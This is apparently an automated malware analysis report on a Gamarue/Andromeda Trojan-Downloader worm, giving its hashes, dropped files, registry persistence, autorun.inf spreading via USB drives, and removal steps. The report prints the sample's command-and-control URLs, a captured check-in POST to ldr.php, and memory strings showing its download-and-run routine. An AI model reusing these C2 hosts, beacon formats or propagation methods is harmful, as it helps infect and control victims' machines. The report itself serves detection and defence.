Trojan-Downloader.Win32.Moure_f70fbe6c89
Trojan-Dropper.Win32.Injector.izjp (Kaspersky), Trojan.Gamarue.AP (B) (Emsisoft), Trojan.Gamarue.AP (AdAware), Trojan-Downloader.Win32.Moure.FD, Trojan.Win32.Swrort.3.FD, GenericAutorunWorm.YR (Lavasoft MAS)
Behaviour: Trojan-Dropper, Trojan-Downloader, Trojan, Worm, WormAutorun
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
MD5: f70fbe6c89748e86ad79135dbc12e23f
SHA1: d9e90a81d64b762bbc5c7ca25b0d6b29d9018be9
SHA256: d473e5e45bcb8428b735e13b254fc6fb2d0a7909b7bf0b6099fb0462816a01a1
SSDeep: 12288:6xG8wgVFzxyQfwLVmuDqE871hkgQuoWiM/lM0v/CMigk:6rnFzUKwxmmc7HQfe/lM03Cwk
Size: 452096 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: Rightapp software
Created at: 2010-05-05 11:46:42
Analyzed on: WindowsXP SP3 32-bit
Summary:
Trojan-Downloader. Trojan program, which downloads files from the Internet without user's notice and executes them.
Payload
Behaviour | Description |
---|---|
WormAutorun | A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan-Downloader's file once a user opens a drive's folder in Windows Explorer. |
Process activity
The Trojan-Downloader creates the following process(es):
%original file name%.exe:61084
%original file name%.exe:1144
The Trojan-Downloader injects its code into the following process(es):
wuauclt.exe:58692
File activity
The process %original file name%.exe:61084 makes changes in the file system.
The Trojan-Downloader creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\01.tmp (2321 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_install_\msiexec.exe (283 bytes)
The Trojan-Downloader deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\01.tmp (0 bytes)
The process wuauclt.exe:58692 makes changes in the file system.
The Trojan-Downloader creates and/or writes to the following file(s):
%Documents and Settings%\All Users\Local Settings\Temp\ccoywyxzc.exe (5128 bytes)
Registry activity
The process %original file name%.exe:61084 makes changes in the system registry.
The Trojan-Downloader creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E7 FC 26 3D BB F3 93 BC 13 B6 D5 86 42 06 CF 5F"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software]
"ImageBase" = "C6 D5 83 73 0C 73 73 73 0F 73 73 73 70 70 73 73"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\_install_]
"msiexec.exe" = "msiexec"
[HKLM\SOFTWARE\Microsoft]
"0000000B" = "50 4B 03 04 00 EA 00 00 7F 71 00 00 5D 38 4C 8A"
The Trojan-Downloader modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"
The Trojan-Downloader modifies IE settings for security zones to map all urls to the Intranet Zone:
"IntranetName" = "1"
The Trojan-Downloader modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
The process %original file name%.exe:1144 makes changes in the system registry.
The Trojan-Downloader creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2A BD 09 9D 6A D2 48 FC 20 2A BB 8D BD 20 54 F1"
The process wuauclt.exe:58692 makes changes in the system registry.
The Trojan-Downloader creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 14 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKCU\Software]
"IMAGE_FILE_HEADER" = "73 60 36 C6 B9 C6 C6 C6 BA C6 C6 C6 C5 C5 C6 C6"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F1 47 50 86 05 59 04 7C A5 12 59 98 6C FA 55 0D"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run]
"31269" = "C:\DOCUME~1\ALLUSE~1\LOCALS~1\Temp\ccoywyxzc.exe"
The Trojan-Downloader modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan-Downloader modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan-Downloader modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan-Downloader deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
Dropped PE files
MD5 | File path |
---|---|
d47f069cd335095c3c2e1ee3d165dd33 | c:\Documents and Settings\All Users\Local Settings\Temp\ccoywyxzc.exe |
d47f069cd335095c3c2e1ee3d165dd33 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\_install_\msiexec.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan-Downloader's file once a user opens a drive's folder in Windows Explorer.
VersionInfo
Company Name: Hause
Product Name: Hunpe
Product Version: 3, 0, 0, 0
Legal Copyright: Copyright Radume(c) 2013
Legal Trademarks: Gioka(c)
Original Filename: Zoda
Internal Name: Zravka
File Version: 1, 3, 4, 7
File Description: Darko
Comments: Preshin
Language: English (United States)
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
UPX0 | 4096 | 3268608 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
UPX1 | 3272704 | 413696 | 412672 | 5.35087 | 9ad545846b364adfe189b2df700d6ef1 |
.rsrc | 3686400 | 40960 | 38400 | 5.04535 | 864b434f8ae66f8ce9b29da617cc6daa |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Total found: 4
9044b29db6caeb6b0ffe75fa67816da9
59a43bf2acf2f4d39ab14aaf61dcba36
722680646250d9ed099fc6f625b5f388
0b9bb9eab4bdddc4eb80bb23b803a24c
URLs
URL | IP |
---|---|
hxxp://a.sobea.in/uzdquzdhlptylptycgkosgkosxbfjnbk | ![]() |
hxxp://hzmksreiuojy.biz/ldr.php | ![]() |
www.update.microsoft.com | ![]() |
hzmksreiuojy.in | ![]() |
hzmksreiuojy.com | ![]() |
hzmksreiuojy.nl | ![]() |
hzmksreiuojy.ru | ![]() |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
ET MALWARE Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0)
ET TROJAN Andromeda Checkin
Traffic
POST /ldr.php HTTP/1.1
Host: hzmksreiuojy.biz
User-Agent: Mozilla/4.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Connection: close
upqchSE8slDLE Bgn4KGIwiLrX8zUN68T3yqvhQu2TqetQn3qIy7Q6bpTfDUtYIftZ33Mx0PLwog9mY3qw==
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 04 May 2014 04:06:51 GMT
Content-Length: 326
Age: 1
Connection: close<!DOCTYPE html><body style="padding:0; margin:0;"><ifra
me src="hXXp://mcc.godaddy.com/park/qJ16rTMypaMbLaqfYz92oD==?=404;http
://hzmksreiuojy.biz:80/ldr.php" style="visibility: visible;height: 200
0px;" allowtransparency="true" marginheight="0" marginwidth="0" frameb
order="0" scrolling="no" width="100%"></iframe></body>&
lt;/html>..
.text
`.data
.rsrc
@.reloc
wuauclt.pdb
GetProcessHeap
KERNEL32.dll
_wcmdln
_amsg_exit
msvcrt.dll
ntdll.dll
ole32.dll
RegCloseKey
RegOpenKeyExW
RegCreateKeyExW
ADVAPI32.dll
USER32.dll
OLEAUT32.dll
SHLWAPI.dll
zcÁ
version="6.0.0.0"
name="Microsoft.Windows.windowsupdate.wuauclt"
true
name="Microsoft.Windows.Common-Controls"
publicKeyToken="6595b64144ccf1df"
wuaueng.dllError: 0xx. wuauclt handler: failed to spawn COM serverError: 0xx. wuauclt handler: failed to load wuaueng/ReportNow/ShowWindowsUpdate/CloseWindowsUpdatewuauclt.exe failed to get proc address for UI export object with error %#lxFailed to load %s with error %Xwucltui.dllwucltux.dllcall RunAUClientUI on wucltui.dll/wucltux.dllNtdll.dllWuSqm %ls session datapoint (id:%d) is incremented with dword %d.wuauclt.exe is exiting with code 0xXwuauclt.exe launched with command line %skernel32.dllWUWebReport7.6.7600.256Global\WindowsUpdateTracingMutexWindowsUpdate.logSOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\TraceWindowsshell32.dll%s: %s [%s: %s%s\%s= Module: %s= Module:= Process: %s= Process:=========== Logging initialized (build: %s, tz: %s) ===========wups2.dllwups.dllSoftware\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\%hs %ls page "%ls", hr=%XMicrosoft.WindowsUpdatewupdmgr.exeFailed to cocreate IShellWindows, error = 0xlXFailed to obtain window doc for window %d, error = 0xlXFailed to obtain folder view for window %d, error = 0xlXFailed to obtain folder IPersist for window %d, error = 0xlXWindow %d is NOT a WU windowDone enumerating windowsQuit for window %d failed: 0xlXWindow %d is a WU window. Attempting to closeFailed to obtain class ID for window %d, error = 0xlXGot NULL disp interface for window %dGot %d instead of VT_DISPATCH for window %dFailed to obtain IWebBrowserApp for window %d, error = 0xlXFailed to enumerate window %d, error = 0xlXFound %d explorer windowsClosing WU explorer windowsSoftware\Microsoft\Windows\CurrentVersion\WindowsUpdate\VolatileDataWUAppNotificationWindowsSOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequiredSOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired\MandatorySOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\PostRebootReportingSOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Services\Pending\%chdhdhd-hd-hd%chd:hd:hd:hdWindows Update7.6.7600.256 (winmain_wtr_wsus3sp2(oobla).120602-1459)wuauclt.exeWindowsOperating Systemwuauclt.exe_58692_rwx_000A0000_00009000:
.code.importNtDelayExecutionntdll.dllGetWindowsDirectoryWkernel32.dllsoftware\microsoft\windows nt\currentversion\windowssoftware\microsoft\windows\currentversion\Policies\Explorer\RunccX.dathttp://8.8.8.8/xxxxxxxxx.phphttp://hzmksreiuojy.in/ldr.phphttp://hzmksreiuojy.ru/ldr.phphttp://hzmksreiuojy.com/ldr.phphttp://hzmksreiuojy.biz/ldr.phphttp://hzmksreiuojy.nl/ldr.phpPOST /%s HTTP/1.1Host: %sUser-Agent: Mozilla/4.0Content-Type: application/x-www-form-urlencodedContent-Length: %dGET /%s HTTP/1.0www.update.microsoft.comGetProcessHeapws2_32.dllRegCloseKeyRegCreateKeyExARegOpenKeyExARegSetKeySecurityadvapi32.dlluser32.dlldnsapi.dllKERNEL32.DLL\system32\wuauclt.exe\syswow64\svchost.exe4%userprofile%%s\cc%s.%s)Xx.exewuauclt.exe_58692_rwx_003B0000_00005000:
software\microsoft\windows nt\currentversion\windowssoftware\microsoft\windows\currentversion\Policies\Explorer\RunccX.dathttp://8.8.8.8/xxxxxxxxx.phphttp://hzmksreiuojy.in/ldr.phphttp://hzmksreiuojy.ru/ldr.phphttp://hzmksreiuojy.com/ldr.phphttp://hzmksreiuojy.biz/ldr.phphttp://hzmksreiuojy.nl/ldr.phpPOST /%s HTTP/1.1Host: %sUser-Agent: Mozilla/4.0Content-Type: application/x-www-form-urlencodedContent-Length: %dGET /%s HTTP/1.0www.update.microsoft.comNtDelayExecutionntdll.dllGetProcessHeapkernel32.dllws2_32.dllRegCloseKeyRegCreateKeyExARegOpenKeyExARegSetKeySecurityadvapi32.dlluser32.dlldnsapi.dll4%userprofile%%s\cc%s.%s)Xx.exewuauclt.exe_58692_rwx_00400000_0000E000:
.text`.data.rsrc@.relocwuauclt.pdbGetProcessHeapKERNEL32.dll_wcmdln_amsg_exitmsvcrt.dllntdll.dllole32.dllRegCloseKeyRegOpenKeyExWRegCreateKeyExWADVAPI32.dllUSER32.dllOLEAUT32.dllSHLWAPI.dllzcÁversion="6.0.0.0"name="Microsoft.Windows.windowsupdate.wuauclt"true name="Microsoft.Windows.Common-Controls"publicKeyToken="6595b64144ccf1df" wuaueng.dllError: 0xx. wuauclt handler: failed to spawn COM serverError: 0xx. wuauclt handler: failed to load wuaueng/ReportNow/ShowWindowsUpdate/CloseWindowsUpdatewuauclt.exe failed to get proc address for UI export object with error %#lxFailed to load %s with error %Xwucltui.dllwucltux.dllcall RunAUClientUI on wucltui.dll/wucltux.dllNtdll.dllWuSqm %ls session datapoint (id:%d) is incremented with dword %d.wuauclt.exe is exiting with code 0xXwuauclt.exe launched with command line %skernel32.dllWUWebReport7.6.7600.256Global\WindowsUpdateTracingMutexWindowsUpdate.logSOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\TraceWindowsshell32.dll%s: %s [%s: %s%s\%s= Module: %s= Module:= Process: %s= Process:=========== Logging initialized (build: %s, tz: %s) ===========wups2.dllwups.dllSoftware\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\%hs %ls page "%ls", hr=%XMicrosoft.WindowsUpdatewupdmgr.exeFailed to cocreate IShellWindows, error = 0xlXFailed to obtain window doc for window %d, error = 0xlXFailed to obtain folder view for window %d, error = 0xlXFailed to obtain folder IPersist for window %d, error = 0xlXWindow %d is NOT a WU windowDone enumerating windowsQuit for window %d failed: 0xlXWindow %d is a WU window. Attempting to closeFailed to obtain class ID for window %d, error = 0xlXGot NULL disp interface for window %dGot %d instead of VT_DISPATCH for window %dFailed to obtain IWebBrowserApp for window %d, error = 0xlXFailed to enumerate window %d, error = 0xlXFound %d explorer windowsClosing WU explorer windowsSoftware\Microsoft\Windows\CurrentVersion\WindowsUpdate\VolatileDataWUAppNotificationWindowsSOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequiredSOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired\MandatorySOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\PostRebootReportingSOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Services\Pending\%chdhdhd-hd-hd%chd:hd:hd:hdWindows Update7.6.7600.256 (winmain_wtr_wsus3sp2(oobla).120602-1459)wuauclt.exeWindowsOperating Systemwuauclt.exe_58692_rwx_00900000_00013000:
.text`.rdata@.data.rsrc@.relocGetProcessWindowStationT:\ldr\CUSTOM\local\Worm65.DLL.PnP\Release\Worm65.DLL.pdbURLDownloadToFileWurlmon.dllKERNEL32.dllkeybd_eventUSER32.dllRegOpenKeyExWRegCloseKeyADVAPI32.dllole32.dllGetCPInfoWorm65.DLL.dll[.ShellClassInfo]IconResource=%systemroot%\system32\SHELL32.dll,7IconFile=%SystemRoot%\system32\SHELL32.dll%System%\wuauclt.exenKERNEL32.DLLmscoree.dll- Attempt to initialize the CRT more than once.- CRT not initialized- floating point support not loadedWUSER32.DLLhttp://a.sobea.in/http://b.sobea.in/http://c.sobea.in/Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced%s\%s%s.exeThumbs.dbdesktop.iniautorun.infWkernel32.dll%s\desktop.ini%s\_W%s.init%s\Thumbs.db_W%s.init,krnl %s %s%s\Removable Disk (%dGB).lnkshell32.dll%s\%s (%dGB).lnk%sautorun.inf
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:61084
%original file name%.exe:1144 - Delete the original Trojan-Downloader file.
- Delete or disinfect the following files created/modified by the Trojan-Downloader:
%Documents and Settings%\%current user%\Local Settings\Temp\01.tmp (2321 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_install_\msiexec.exe (283 bytes)
%Documents and Settings%\All Users\Local Settings\Temp\ccoywyxzc.exe (5128 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
- Reboot the computer.
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.